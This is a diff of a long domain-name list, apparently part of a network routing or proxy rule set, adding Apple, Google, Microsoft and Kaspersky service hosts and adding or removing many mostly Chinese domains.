+p7-juejin.byteimg.com +p8-juejin.byteimg.com +p9-juejin.byteimg.com +pagead-googlehosted.l.google.com +pancake.apple.com +pba0.apple.com +pd-nk.itunes.apple.com +pd.itunes.apple.com +performanceparameters.googleapis.com +pki-goog.l.google.com +play-edge.itunes.apple.com +play.itunes.apple.com +play.music.apple.com +podcasts.apple.com +podcasts.itunes.apple.com +probe.siri.apple.com +prod-controlbe.floonet.goog +prod-databe.floonet.goog +prod-support.apple-support.akadns.net +prod.databe.floonet.goog +publicassets.cdn-apple.com +qiao-cn.com +qpx.googleflights.net +recaptcha-cn.net +recaptcha.net +redirector.bdn.dev +redirector.c.chat.google.com +redirector.c.mail.google.com +redirector.c.pack.google.com +redirector.c.play.google.com +redirector.c.youtubeeducation.com +redirector.gcpcdn.gvt1.com +redirector.gvt1.com +redirector.offline-maps.gvt1.com +redirector.snap.gvt1.com +redirector.xn--ngstr-lra8j.com +refresh-bkg.activation-v2.kaspersky.com +rsm.download.prss.microsoft.com +s.mzstatic.com +s00.upd.kaspersky.com +s01.upd.kaspersky.com +s02.upd.kaspersky.com +s03.upd.kaspersky.com +s04.upd.kaspersky.com +s05.upd.kaspersky.com +s06.upd.kaspersky.com +s07.upd.kaspersky.com +s08.upd.kaspersky.com +s09.upd.kaspersky.com +s1.mzstatic.com +s10.upd.kaspersky.com +s11.upd.kaspersky.com +s12.upd.kaspersky.com +s13.upd.kaspersky.com +s14.upd.kaspersky.com +s15.upd.kaspersky.com +s16.upd.kaspersky.com +s17.upd.kaspersky.com +s18.upd.kaspersky.com +s19.upd.kaspersky.com +s2.mzstatic.com +s3.mzstatic.com +s4.mzstatic.com +s5.mzstatic.com +safebrowsing-cache.google.com +safebrowsing.googleapis.com +sdx.microsoft.com +se-edge.itunes.apple.com +se2.itunes.apple.com +search.itunes.apple.com +seed-sequoia.siri.apple.com +seed-swallow.siri.apple.com +seed.siri.apple.com +sequoia.apple.com +service.urchin.com +sf-api-token-service.itunes.apple.com +sh-pod2-smp-device.apple.com +shazam-insights.cdn-apple.com +shell.cdn.office.net +smp-device-content.apple.com +software.download.prss.microsoft.com +sp.itunes.apple.com +speedysub.music.apple.com +ss.bjmu.edu.cn +ssl-google-analytics.l.google.com +ssl.gstatic.com +staging-controlbe.floonet.goog +staging-databe.floonet.goog +staging.databe.floonet.goog +static.gc.apple.com +statics.teams.cdn.office.net +status.alibabacloud.com +stocks-sparkline-lb.apple.com.akadns.net +stocks-sparkline.apple.com +store.apple.com +store.apple.com.edgekey.net +store.apple.com.edgekey.net.globalredir.akadns.net +store.storeimages.apple.com.akadns.net +store.storeimages.cdn-apple.com +storecorefulfillment.download.prss.microsoft.com +storeedge.microsoft.com +storeedgefd.dsx.mp.microsoft.com +streamingaudio.itunes.apple.com +study.163.com +su.itunes.apple.com +support-china.apple-support.akadns.net +support.apple.com +surface.download.prss.microsoft.com +surface.downloads.prss.microsoft.com +swallow-apple-com.v.aaplimg.com +swallow.apple.com +swcatalog-cdn.apple.com.akadns.net +swcatalog.apple.com +swcdn.apple.com +swcdn.g.aaplimg.com +swdist.apple.com +swdist.apple.com.akadns.net +swscan-cdn.apple.com.akadns.net +swscan.apple.com +sylvan.apple.com +sync.itunes.apple.com +tac.googleapis.com +tf-feedback.itunes.apple.com +time.amazonaws.cn +time.izatcloud.net +time.xtracloud.net +tj-pod1-smp-device.apple.com +tj-pod2-smp-device.apple.com +tj-pod3-smp-device.apple.com +tools.google.com +universal-activity-service.itunes.apple.com +update.crashlytics.com +update.googleapis.com +updates-http.cdn-apple.com +updates-http.cdn-apple.com.akadns.net +updates.cdn-apple.com +upp.itunes.apple.com +valid.apple.com +valid.origin-apple.com.akadns.net +vlportal.download.prss.microsoft.com +volic.download.prss.microsoft.com +vscode.download.prss.microsoft.com +vz.download.prss.microsoft.com +wear.googleapis.com +weather-data.apple.com +weather-data.apple.com.akadns.net +weather-map.apple.com +weather-map2.apple.com +weatherkit.apple.com +windbg.download.prss.microsoft.com +www-google-analytics.l.google.com +www-googletagmanager.l.google.com +www.apple.com +www.apple.com.edgekey.net.globalredir.akadns.net +www.destinationurl.com +www.entrust.cn +www.gstatic.com +www.pxcc.com +www.recaptcha-cn.net +www.recaptcha.net +www.support.apple.com +xp.apple.com +xtratime.qcomgeo2.com +xz.pphimalayanrt.com 0.zone 00.net 000.link @@ -99,7 +652,6 @@ 008.bet 00817.com 00847.xin -0086l.com 0086org.com 008n0l12145.xin 008sport.com @@ -129,8 +681,6 @@ 010123456.com 010155.net 0101cdn.com -0101e.com -0101game.online 0101semi.com 0101ssd.com 010203.com @@ -156,7 +706,6 @@ 011.xin 011a4460e391a7f4.com 0123.xin -0123401234.com 0123456789.com 0123f.xin 0127.xin @@ -179,7 +728,6 @@ 019.xin 01975cf969f20191.com 01a7d69861013.beer -01be6bfabbd3024a.com 01bzw.us 01bzw.xyz 01caijing.com @@ -194,7 +742,6 @@ 01isp.net 01jinhua.com 01jzw.com -01p.com 01p6xc08451.xin 01pxzw0737.xin 01rv.com @@ -307,7 +854,6 @@ 025tuanjian.com 025xl.com 025zp.com -0264032a252fcf53.com 026hao.com 026idc.com 0270.cc @@ -354,7 +900,6 @@ 028office.com 028px.com 028pxw.com -028sh.com 028sjkj.com 028yyyy.com 029200.com @@ -471,7 +1016,6 @@ 043j8118366.xin 0452e.com 0453.com -0453bc39456389ff.com 0454.cc 0455tv.com 0455zd.com @@ -543,7 +1087,6 @@ 0535-0411.com 0535cp.com 0535you.com -05366196.com 0536job.net 0536qz.com 0536weixin.com @@ -589,7 +1132,6 @@ 0574bbs.com 0574nbjg.com 0575.host -057555.com 0575bbs.com 0575jb.com 0575life.com @@ -650,7 +1192,6 @@ 0605.com 0609.com 061.xin -0616a9dbe68fac9c.com 0618.com 063108.com 0631rc.com @@ -686,7 +1227,6 @@ 07073h5.com 07073vr.com 0708.com -0712f.com 0712fang.com 0714.com 0714110.xin @@ -755,7 +1295,6 @@ 0755cts.com 0755fm.com 0755hao.com -0755haoyu.com 0755hj.com 0755hz.com 0755jz.net @@ -792,7 +1331,6 @@ 0769sx.com 0769web.net 076lvo.xyz -077.xin 0771.tv 07712008.com 07715555555.com @@ -802,7 +1340,6 @@ 0772fang.com 0772job.com 07743988888.com -07752267777.com 07754255555.com 0775fcw.com 0775jzw.com @@ -944,6 +1481,7 @@ 09e12x16370.xin 09ea354bd9542ba7.com 09game.com +09izf.com 09lc5d12399.xin 09pzq024240.xin 09shijue.com @@ -953,7 +1491,6 @@ 0a32mt201.xin 0a64qa16273.xin 0a6ri001390.xin -0a8a112e8bb5045e.com 0ag8kg01470.xin 0ape4t08268.xin 0axoa626262.xin @@ -961,7 +1498,6 @@ 0b4xq91061.xin 0b6e0659811021.beer 0b8ky116130.xin -0bb261a6a46d766a.com 0bb875c361022.beer 0bbd0e535194e7f7.com 0bdfe52341114.beer @@ -1002,7 +1538,6 @@ 0e76427381016.beer 0e7o6216306.xin 0easy.com -0ecff3e99dce5b33.com 0ee18d4c192243b3.com 0efef58c41014.beer 0egh661666.xin @@ -1062,7 +1597,6 @@ 0obhhr12439.xin 0okm1a12139.xin 0olgbi04133.xin -0olut8.com 0oo70c26213.xin 0or1h40327.xin 0p.ink @@ -1118,7 +1652,6 @@ 10000shequ.com 10000yao.com 10001wan.com -100024.xyz 1000360.com 10006.info 1000coco.com @@ -1171,7 +1704,6 @@ 100credit.com 100cup.com 100d3.com -100data.com 100du.com 100e.com 100eby.com @@ -1222,7 +1754,6 @@ 100tv.com 100txy.com 100vr.com -100wa.com 100web.store 100weidu.com 100wsanguo.com @@ -1247,6 +1778,7 @@ 1010pic.com 1010sh.com 1010t.com +101212.com 101505.com 10155.com 1015600.com @@ -1307,7 +1839,6 @@ 10sea.com 10soo.com 10tianqi.com -10urzr3jk.icu 10yan.com 110.com 11000011.com @@ -1486,6 +2017,7 @@ 120spd.com 120sun.com 120x.net +121034.com 121121.net 1212.com 12120.net @@ -1526,6 +2058,7 @@ 123278.com 123294.com 123295.com +123312.com 12333.com 12333.org 12333si.com @@ -1563,6 +2096,7 @@ 123684.com 12369zb.com 123773.com +123795.com 123842.com 123860.com 123865.com @@ -1575,6 +2109,8 @@ 123baofeng.com 123bo.com 123boligang.com +123clouddisk.com +123clouddrive.net 123du.cc 123ems.com 123fc.com @@ -1714,6 +2250,7 @@ 13726936178.com 137365.com 1374.com +137542.club 1377.com 13793085458.com 13793277711.com @@ -1726,7 +2263,6 @@ 1380898.com 138379.com 138job.com -138pet.com 138top.com 138vps.com 139.com @@ -1761,7 +2297,6 @@ 13xiaoshuo.com 13yx.com 140414.com -1404c4ce1d63a0d7.com 1415926.com 1415926.mobi 141799c86c1ba267.com @@ -1828,7 +2363,6 @@ 15gg.com 15gift.com 15hr.com -15hr.net 15job.com 15kuaixiu.com 15lu.com @@ -1897,6 +2431,7 @@ 163qikanlunwen.com 163qiyukf.com 163wh.com +163you.net 163yu.com 163yun.com 164580.com @@ -1922,6 +2457,7 @@ 166dns.com 16757.com 16768.com +168.com 16816.com 168267xz.com 168338.com @@ -1941,7 +2477,6 @@ 1688s.com 1688tsw.com 1688zhuce.com -16899168.com 168ad.cc 168auto.com 168chaogu.com @@ -1952,7 +2487,6 @@ 168job.com 168kaifu.com 168kk.com -168kn.com 168lyq.com 168mlj.com 168moliao.com @@ -1984,9 +2518,9 @@ 16first.com 16game.net 16hyt.com +16ik.com 16lao.com 16p.com -16pic.com 16rd.com 16sucai.com 16type.com @@ -2117,7 +2651,6 @@ 17bt.com 17byh.com 17c13ae4a36b8862.com -17c8d205dbcbc534.com 17cdn.com 17ce.com 17chacha.com @@ -2289,6 +2822,7 @@ 18023.com 18095.com 180disk.com +180k.com 180qt.com 180yy.com 1811d2af81022.beer @@ -2385,7 +2919,6 @@ 18snf.com 18touch.com 18wk.com -18yl.com 18zhongyao.com 18zhuanqian.com 18zp.com @@ -2407,7 +2940,6 @@ 191game.com 192ly.com 192sm.com -1931.com 1934xjzy.com 1937china.com 1937cn.com @@ -2419,6 +2951,7 @@ 194nb.com 195155.com 195268032591463.icu +1958xy.com 195idc.com 196b7adb23969e39.com 196g.com @@ -2430,6 +2963,7 @@ 19789.com 197924.com 19799.com +198274.com 198358.com 19840423.com 198434.com @@ -2486,7 +3020,6 @@ 1b0y8tocaz24.com 1b17.com 1b1tech.com -1b22e3a337fe5542.com 1b3e11b2e88c6129.com 1baf107ed1014.beer 1boshu1.com @@ -2506,6 +3039,7 @@ 1chong.com 1cloudsp.com 1cno.com +1cxb.com 1d0b8b3d1800debe.com 1d1d100.com 1d21653941c21219.com @@ -2526,6 +3060,7 @@ 1f6cd3ca611032.beer 1f71060e75b35349.com 1fangchan.com +1fly.fun 1foo.com 1fooai.com 1gaifang.com @@ -2557,6 +3092,7 @@ 1k100.com 1k2k.com 1ka123.com +1kanshu.cc 1kapp.com 1kcx.hk 1ke.net @@ -2578,7 +3114,6 @@ 1m.net 1m85.com 1mall.com -1maoshua.com 1mdoutian.com 1menjin.com 1mfg.com @@ -2669,6 +3204,7 @@ 1zhe.com 1zhengji.com 1zhixue.com +1zidc.com 1zj.com 1zjob.com 1zu.com @@ -2717,13 +3253,11 @@ 202014.xyz 202030.com 2022.work -202271.xyz 2023.com 2023game.com 20240828.xyz 2024qq.com 2025.net -2026cname.com 202m.com 202wan.com 2048ai.net @@ -2735,7 +3269,6 @@ 2080ly.com 2093hd.com 2099xs.com -20e2554096acf2c6.com 20fl.com 20ju.com 20kf.com @@ -2797,7 +3330,6 @@ 21bowu.com 21bx.com 21cake.com -21cbr.com 21cccc.com 21ccnn.com 21cd.com @@ -2916,11 +3448,11 @@ 226500.com 226531.com 226969.xyz -226yzy.com 2280.com 2281wa.ren 2288.org 2288116ab4.shop +2288job.com 228job.com 228tuchuang.com 229.com @@ -3010,7 +3542,6 @@ 23dns.com 23do.com 23du.com -23e489f9600657c1.com 23e4cb2581013.beer 23img.com 23job.net @@ -3019,7 +3550,6 @@ 23luke.com 23mofang.com 23qb.com -23qb.net 23qcw.com 23sk.com 23txt.com @@ -3036,6 +3566,7 @@ 23yy.com 23zw.com 24198ef3f855c8ff.com +2424ph.com 24331.org 24335.org 246546.com @@ -3043,10 +3574,10 @@ 246ys.com 248.com 2481e.com +248ker.com 248xyx.com 249m.com 24bb0cd0c3b8480d.com -24dab50b3223e582.com 24geban.com 24haowan.com 24hmb.com @@ -3056,12 +3587,12 @@ 24maker.com 24money.com 24om.com +24pay.sbs 24th.com 24timemap.com 24u7tos.com 250.cc 2500.tv -25000li.com 2500city.com 2500sz.com 250340.com @@ -3079,6 +3610,7 @@ 254game.com 2551aa29811031.beer 255616.com +25565.net 2559e5f081017.beer 25662zubo23739.com 256app.com @@ -3092,7 +3624,6 @@ 258fuwu.com 258jrs.com 258sd.com -258weishi.com 258zw.com 25992.com 25az.com @@ -3102,6 +3633,7 @@ 25fe391eb68e3f9c.com 25game.com 25ku.com +25mao.com 25nc.com 25pp.com 25q7ekcc67.com @@ -3182,7 +3714,6 @@ 279tt.com 27al.com 27cat.com -27d7c9e9b3a34696.com 27daili.com 27l.com 27tj.com @@ -3205,7 +3736,6 @@ 28715.vip 288idc.com 289.com -2896.ro 2898.com 28ce6d14004bae01.com 28d4cc3671024.beer @@ -3213,7 +3743,6 @@ 28e4cd79f1023.beer 28eb96ed4da91317.com 28gl.com -28gua.com 28ka.com 28khy.com 28qp.com @@ -3256,7 +3785,6 @@ 2bkw.com 2broear.com 2bulu.com -2c5bf25c11b8dc3e.com 2c71b194031fc683.com 2c883aeffbeef6c7.com 2caipiao.com @@ -3280,7 +3808,6 @@ 2db3d5c761abe51b.com 2dcode.biz 2df.me -2dffbc61dea7ca0a.com 2dfire.com 2dfire.info 2dmaker.com @@ -3345,6 +3872,7 @@ 2p.biz 2p.com 2pcdn.com +2ppt.com 2q10.com 2qsc.com 2qupu.com @@ -3364,7 +3892,6 @@ 2umj.com 2urch0.info 2urg1y.info -2urk3j.shop 2uroz.info 2v8d.com 2v9t3xf9z2.com @@ -3376,11 +3903,9 @@ 2y9y.com 2ychem.com 2yq.org -2yuanyy.com 2yup.com 2yx8.com 2zhan.com -2zhk.com 2zimu.com 2zzt.com 3-3.me @@ -3415,7 +3940,6 @@ 3062d65271020.beer 306t.com 3072ccba588e48d0.com -308.app 308.tv 3099.net 30aitool.com @@ -3549,7 +4073,6 @@ 3269.org 32768k.net 327aa34f510311.beer -3280.com 32800.com 3283773e9dc5cde5.com 3286.cc @@ -3680,7 +4203,6 @@ 3419e2cbf10261.beer 341d88b04156e9d3.com 342200.com -342jinbo.com 34347.com 345123.xyz 3454.com @@ -3782,7 +4304,6 @@ 360byd.com 360bzl.com 360caifu.com -360cdn.com 360changshi.com 360che.com 360chezhan.com @@ -3859,6 +4380,7 @@ 360qyaq.com 360safe.com 360safedns.com +360scdn.com 360shouji.com 360shouzhuan.com 360shuke.com @@ -3938,7 +4460,6 @@ 363faka.com 363u.com 364000.com -365.com 365.hk 36500.com 36500.net @@ -4023,7 +4544,6 @@ 365vip.com 365world.com 365xiazai.com -365xs.la 365xuet.com 365yarn.com 365yg.com @@ -4034,7 +4554,6 @@ 365zhuanrang.com 365zmw.com 365zsw.net -3660bf60ab32baab.com 36612345.com 3663.com 366300.com @@ -4075,6 +4594,7 @@ 36kr.net 36krcdn.com 36krcnd.com +36linkr.com 36pnes36t0qs.com 36qp.com 36rv3j3.shop @@ -4111,7 +4631,6 @@ 3761.com 3768.org 377466.com -3774cd2332503d45.com 379.com 37937.com 3794b0fa67e5f83b.com @@ -4129,7 +4648,6 @@ 37game2.com 37gjw.com 37gogo.com -37gowan.com 37hr.com 37k.com 37kx1.com @@ -4178,7 +4696,6 @@ 38711.cc 38735.vip 388g.com -3892222.com 38999h.vip 38a9018e44a7da0f.com 38b06119b10271.beer @@ -4203,7 +4720,6 @@ 393.com 3937.com 3939339.com -394394.com 3949006e510272.beer 394afb34a1020.beer 39507037133f.icu @@ -4220,7 +4736,6 @@ 39amjs.com 39ask.net 39b86269e11031.beer -39b8fe8f4c6f9dee.com 39bfe802d10292.beer 39center.com 39clean.com @@ -4257,10 +4772,8 @@ 3b1bm3f.shop 3b1bvrwc.info 3b1fcl.info -3b1xgp.shop 3b2479faf10301.beer 3b2o.com -3bag.ru 3bf.cc 3bfc4d6861010.beer 3bu.com @@ -4272,7 +4785,6 @@ 3c5a7b25910281.beer 3c6a1a5d01015.beer 3c9035c3bd9e7599.com -3cb106206b814b15.com 3cf6c871511032.beer 3chongmen.com 3conline.com @@ -4285,7 +4797,6 @@ 3d-stereovision.com 3d2000.com 3d2848f7811042.beer -3d503a99384e0d4c.com 3d66.com 3d7ce8a16c0f8781.com 3d9r.com @@ -4353,7 +4864,6 @@ 3fb762d23d09f297.com 3fc5960c0be056ce.com 3fda.com -3feb063cbf96bd40.com 3fzipper.com 3g-edu.org 3g368.com @@ -4451,13 +4961,11 @@ 3stl.com 3sunway.com 3swg.com -3t3.org 3thiku.com 3tilabs.com 3tinkers.com 3tmall.com 3treesgroup.com -3tstore.com 3u.com 3unshine.com 3uol.com @@ -4521,7 +5029,6 @@ 400332.com 40035.com 400388.com -4006055885.com 4006216888.com 4006300457.com 4006339177.com @@ -4557,6 +5064,7 @@ 4008885818.com 4009.com 4009515151.com +400980.com 4009991000.com 4009997658.com 400cx.com @@ -4574,6 +5082,7 @@ 402faka.com 40407.com 404886.com +404k.vip 404mzk.com 404wan.com 404youxi.com @@ -4582,7 +5091,6 @@ 4080517.com 408399.com 408399.net -4087b09ee4632bb5.com 408cf42720d8be86.com 408ec542b10281.beer 409a1957110311.beer @@ -4638,7 +5146,6 @@ 42how.com 42trip.com 42verse.shop -430d6eba715dabb4.com 4311.com 432.com 432520.com @@ -4720,6 +5227,7 @@ 44ff56d11fa53a9a.com 44h.co 44jj.com +44nc.com 44pq.cc 44vs.com 4502512122531.icu @@ -4755,7 +5263,6 @@ 45yx.com 461000.net 462.com -46245fb7d43c13a3.com 46412.com 46644.com 46721.org @@ -4864,6 +5371,7 @@ 4c28539c4f10ad16.com 4c37ebc131010.beer 4c43edd99cd8bb40.com +4c44.com 4c4866d8179d6f70.com 4c55033b91010.beer 4c645708fabd0e13.com @@ -4890,9 +5398,7 @@ 4f0b987b410311.beer 4f411973f14e0f10.com 4f61.com -4f68340f5b6c21a9.com 4f89.com -4f9bf1e673931484.com 4fang.net 4fd4969ff1022.beer 4fe55e9f6c893405.com @@ -4975,11 +5481,12 @@ 5011.net 501h.com 501wan.com +502.ai 50257e08d1015.beer +502fakw.com 503118.com 50331.net 5033333.com -503b2f379abaf979.com 505035.com 5054399.com 5054399.net @@ -4987,6 +5494,7 @@ 5066.com 506u5nf5j5.com 507c7d240b2eae97.com +508.im 5087.com 508hdsys.com 508mallsys.com @@ -5005,6 +5513,7 @@ 50yu.com 50zera.com 50zw.co +50zw.com 50zw.net 51-cf.com 51-jia.com @@ -5103,7 +5612,6 @@ 51802.com 5184.com 5184pass.com -5185.cc 51864.com 51870.com 5188.com @@ -5219,7 +5727,6 @@ 51drv.com 51dugou.com 51dz.com -51dzrc.com 51dzt.com 51dzw.com 51ean.com @@ -5250,7 +5757,6 @@ 51feitu.com 51feiyu.com 51fiber.net -51finace.com 51findwork.com 51fl.com 51fpg.com @@ -5278,7 +5784,6 @@ 51goods.vip 51google.com 51gouke.com -51gowan.com 51gpt.com 51gran.com 51grb.com @@ -5340,7 +5845,6 @@ 51jiaoxi.com 51jiemeng.com 51jingying.com -51jinkang.com 51jishu.com 51jiuhuo.com 51job.com @@ -5360,7 +5864,6 @@ 51kanong.com 51kaola.net 51kaowang.com -51kaxun.com 51kehui.com 51kids.com 51kik.com @@ -5368,7 +5871,6 @@ 51kshen.com 51kt.com 51kuaizhuan.com -51kupin.com 51kywang.com 51la.ink 51la.net @@ -5385,6 +5887,7 @@ 51lingji.com 51link.com 51liucheng.com +51livetv.com 51losangeles.com 51lxrc.com 51lzr.com @@ -5411,6 +5914,7 @@ 51mokao.com 51mole.com 51moot.net +51mowan.com 51mpa.net 51mrp.com 51msc.com @@ -5436,6 +5940,7 @@ 51ping.com 51pinwei.com 51pla.com +51poca.com 51pocket.com 51pocket.net 51poll.com @@ -5444,7 +5949,6 @@ 51poweron.com 51pptmoban.com 51psj.com -51puer.com 51qc.com 51qc.net 51qianguo.com @@ -5559,6 +6063,7 @@ 51u.co 51uc.com 51ukf.com +51usz.com 51vhost.net 51vimeo.com 51vip.biz @@ -5566,6 +6071,7 @@ 51vv.net 51vv2.com 51w.co +51wan.com 51wangming.com 51wangpi.com 51wanquan.com @@ -5638,7 +6144,6 @@ 51ytg.com 51yuansu.com 51yuepin.com -51yueqian.com 51yugou.com 51yund.com 51yundong.me @@ -5674,6 +6179,7 @@ 52.vip 520.com 520.net +520.skin 520101.com 520520520520520.com 520730.com @@ -5707,6 +6213,7 @@ 520yidui.com 520zc.com 520zg.net +521000.com 5210601.com 52112.com 5211game.com @@ -5751,7 +6258,6 @@ 5277.com 527fgame.com 527ice.com -527meeting.com 527ss.com 528045.com 5281.net @@ -5805,9 +6311,7 @@ 52dsy.com 52dtv.com 52dus.com -52duzhe.com 52dyy.com -52dzxy.com 52edns.com 52edy.com 52enku.com @@ -5912,6 +6416,7 @@ 52shici.com 52shipping.com 52shuw.cc +52shuwang.com 52shuxue.com 52solution.com 52songshu.com @@ -5962,6 +6467,7 @@ 52youbian.com 52youpiao.com 52youtu.com +52youzai.com 52yq.com 52yushi.com 52yuwan.com @@ -5978,6 +6484,7 @@ 52zy.com 5306.com 53155.vip +53164836.com 531pool.com 532106.com 53233.org @@ -5998,8 +6505,6 @@ 537300.com 53797.vip 5385s.com -538618.com -538a9b8b890bff34.com 53920.net 539831.vip 5399.com @@ -6038,7 +6543,6 @@ 54268.com 5433.com 54391.com -54406c82bf7d5705.com 5442.com 544521.xyz 544e5adac11012.beer @@ -6057,7 +6561,6 @@ 54doctor.net 54doctors.net 54dr.com -54hcz.com 54heb.com 54im.com 54jkw.com @@ -6103,7 +6606,6 @@ 55555.io 55555432.com 55555558.com -5555622ab0.shop 5559000ab0.shop 5559000ab7.shop 555edu.net @@ -6133,13 +6635,13 @@ 5577937.com 5577943.com 5577956.com +5577game.com 558.com 5588.tv 5588294.com 5588492.com 5588bet.com 558idc.com -559.cc 55935.vip 5595.cc 5599.com @@ -6251,6 +6753,7 @@ 56tim.com 56tj.com 56tv.org +56tvc.com 56uu.com 56xiniao.com 56ye.net @@ -6278,7 +6781,6 @@ 57875.vip 579idc.com 57auto.com -57bm.com 57class.net 57df3696bffd3eb4.com 57dp.com @@ -6331,6 +6833,7 @@ 588tao.com 588yw.com 588z.com +58976ghg.com 5898yun.com 58antenna.com 58auv.com @@ -6386,7 +6889,6 @@ 58wuji.com 58xinghuo.com 58xinrui.com -58xs.com 58xs.la 58xueche.com 58xuexi.com @@ -6426,6 +6928,7 @@ 5945i.com 595.bet 595.cc +5950380.cc 59519.com 595818.com 5959.vip @@ -6455,7 +6958,6 @@ 59dead1ce10301.beer 59dun.com 59f086f4910311.beer -59f35373bf3f8e7d.com 59ff599661017.beer 59hi.com 59iedu.com @@ -6463,7 +6965,6 @@ 59jt.com 59med.com 59ni.com -59pk.net 59rj.com 59store.com 59w.net @@ -6476,7 +6977,6 @@ 5a828d12510272.beer 5a8878b99c8f9160.com 5a8a3d1d111021.beer -5a9bf3726d2b09fa.com 5aa212657a354b3e.com 5aaa.com 5acbd.com @@ -6508,10 +7008,8 @@ 5ce.com 5ce08adc68995a7a.com 5ceimg.com -5cgo.com 5cpod.com 5d.ink -5d116d676087d0e8.com 5d170bdbce0cbe9b.com 5d2ede2.com 5d6d.com @@ -6546,7 +7044,6 @@ 5f36b4f39ba574b7.com 5f52903c110251.beer 5f69826526db4f44.com -5f9e6b1603f69b9b.com 5fa26ed6d1024.beer 5fen.com 5fun.com @@ -6619,7 +7116,6 @@ 5iucn.com 5iweix.com 5iximai.com -5ixuexiwang.com 5iyoule.com 5iyq.com 5iyuyan.com @@ -6647,8 +7143,6 @@ 5nnj.com 5o.com 5ooq.com -5opzl.com -5opzl.net 5pao.com 5pb.net 5pk.com @@ -6742,6 +7236,7 @@ 602ab6ff810251.beer 602img.com 60301c31eca86940.com +60353595.com 603603b.com 603603d.com 603966.com @@ -6775,7 +7270,6 @@ 610115.com 610213.net 61029.com -6103g.com 6104.tv 6112.com 61165.com @@ -6860,7 +7354,6 @@ 632news.com 6333.tv 6334x.com -633586c05c8f4543.com 634.ag 634d.com 634image.com @@ -6876,7 +7369,6 @@ 639311.com 63936b71f3e4ab6a.com 6397869a4eb51a13.com -63a795836312c99d.com 63b4ff1aeff2818d.com 63cj.com 63pe.com @@ -6890,9 +7382,9 @@ 64365.com 644446.com 64504.com -645250.net 6453.net 64538.net +645ajm.com 646000.com 6463.com 64783333.com @@ -6925,7 +7417,6 @@ 65b01705c10261.beer 65bb2d6d81010.beer 65box.com -65dataranking.com 65ec0ea7f04562ad.com 65liuxue.com 65mhxy.com @@ -7005,11 +7496,11 @@ 668lw.com 668map.com 668wan.com -669167d4fc316421.com 66930909.com 669322.com 6695.com 66988.tv +66990000.xyz 6699129.com 6699301.com 6699343.com @@ -7133,7 +7624,6 @@ 6887cc57c10251.beer 6888.tv 688dns.com -688mob.com 688wz.net 68955.com 68978.net @@ -7142,7 +7632,6 @@ 68bbq.com 68china.net 68design.net -68e5fc2c1344afb8.com 68ecshop.com 68gainian.com 68h5.com @@ -7186,7 +7675,6 @@ 699pic.com 69fd4a3dbd02f66c.com 69g.com -69hr.com 69mok.com 69shu.org 69shuba.cc @@ -7208,10 +7696,8 @@ 6apt.com 6b1813f5210261.beer 6b3b.com -6b3cfa277bae3b4b.com 6bac9d15d10271.beer 6bdns.com -6c0f63385ed13b89.com 6c6c.com 6c7ccba3e11031.beer 6cit.com @@ -7219,7 +7705,6 @@ 6cnzz.com 6d4d5.com 6d4g.com -6d576388add270c5.com 6d63d3.com 6d7d.com 6dan.com @@ -7240,7 +7725,6 @@ 6ef102d0210261.beer 6f25df38a10291.beer 6f7b51b741014.beer -6f8b82f9fbb439db.com 6fast.com 6fcsj.com 6fe7c9d291017.beer @@ -7249,7 +7733,6 @@ 6g5fd1a.com 6gh4.com 6ght.com -6glz.com 6h979.com 6hd0hoc.com 6hgame.com @@ -7325,6 +7808,7 @@ 6yyy7.com 6z6z.com 6ze.net +6zhentan.com 6ziz.com 6zu.com 7-11bj.com @@ -7360,6 +7844,7 @@ 70ym.com 70yx.com 71.net +710hf.com 7114.com 7116.com 7116dns.com @@ -7452,7 +7937,6 @@ 72crm.com 72crm.net 72crm.org -72d3bb672f4a6997.com 72dj.com 72dns.com 72dns.net @@ -7510,7 +7994,6 @@ 74615ee887a99dd7.com 7474.com 7477.com -747wan.com 749333.xyz 74955.net 74966.net @@ -7521,7 +8004,6 @@ 74dns.com 74f11ac633122c20.com 74hao.com -75.team 75111.com 75111.net 75122d9a05f7a5a7.com @@ -7546,11 +8028,11 @@ 75ll.com 75n474.com 75pk.com +75txt.com 75ww.com 76120.org 7618.com 7631.com -7633sqw.com 76474cf781f10d61.com 7651.com 766.com @@ -7593,6 +8075,7 @@ 77304.com 77304y.com 77313.com +7733249.com 7733320.com 7733352.com 7733577.com @@ -7723,15 +8206,14 @@ 793688.com 79432.com 7951ee2a510281.beer -79521.cc 7979u.com +797rs.com 797sun.com 7988.com 798com.com 798edu.com 798zb.tv 799.net -79979.loan 7997v.com 7999.tv 79999.net @@ -7765,6 +8247,7 @@ 7cdfad1816def43d.com 7chacha.com 7ci.com +7cj2-x5r9vqm.vip 7cname.com 7cnv.com 7cxk.com @@ -7793,7 +8276,6 @@ 7f416cfd411012.beer 7f86a2a17fcd5a5d.com 7fa19203510241.beer -7fa973f8c7bdcddb.com 7fei.com 7fff5701c5415d77.com 7fgame.com @@ -7820,6 +8302,7 @@ 7jk.com 7juju.com 7k35.com +7k6k.com 7k7k.com 7k8k.com 7ka.co @@ -7847,8 +8330,10 @@ 7q5.com 7qile.com 7quw.com +7r.fit 7r7z.com 7rdao.com +7risha.com 7road.com 7road.net 7ronggame.com @@ -7860,6 +8345,7 @@ 7soyo.com 7su.com 7syc.com +7syun.com 7t9.com 7tenet.net 7tgame.com @@ -7870,6 +8356,7 @@ 7ugl.com 7usa.net 7uv.com +7vip.com 7wan.com 7wate.com 7wee.com @@ -7905,6 +8392,7 @@ 8.xyz 80.hk 80000.cc +8000yi.com 800423.com 800507.com 8006506.com @@ -8061,7 +8549,6 @@ 822ef055f1017.beer 823238fa910271.beer 82335966.com -8243d76487f3a834.com 8246.net 8254ce48211021.beer 8264.com @@ -8078,7 +8565,6 @@ 8295099d311031.beer 8295dc6e7e797638.com 82987977.com -829e30d07853f4fd.com 82d5d0e4f10291.beer 82e0dd98d1edbbb1.com 82flex.com @@ -8093,7 +8579,7 @@ 8325.com 8329607.com 833006.net -8333dhz.com +83335888.com 8336.com 834834002.com 834834009.com @@ -8185,7 +8671,6 @@ 86933.com 869d.com 869v.com -86a92644807597fa.com 86amsdy.com 86bdada6e1019.beer 86bus.com @@ -8201,6 +8686,7 @@ 86hh.com 86hk.vip 86hr.com +86huoche.com 86jg.com 86joy.com 86kang.com @@ -8213,6 +8699,7 @@ 86office.com 86pla.com 86pm25.com +86ps.com 86ps.net 86sb.com 86tec.com @@ -8232,7 +8719,6 @@ 87131.vip 87161.vip 87188718.com -872.cc 872872.com 8732365.com 8733777251212.icu @@ -8245,7 +8731,6 @@ 8769d53.com 876dns.com 8770000.com -87739b0fc18fe40a.com 8775.com 87753.net 877771.xyz @@ -8259,7 +8744,6 @@ 8799.com 87a37933611021.beer 87b041a2019314d7.com -87bc16a2fc6c4036.com 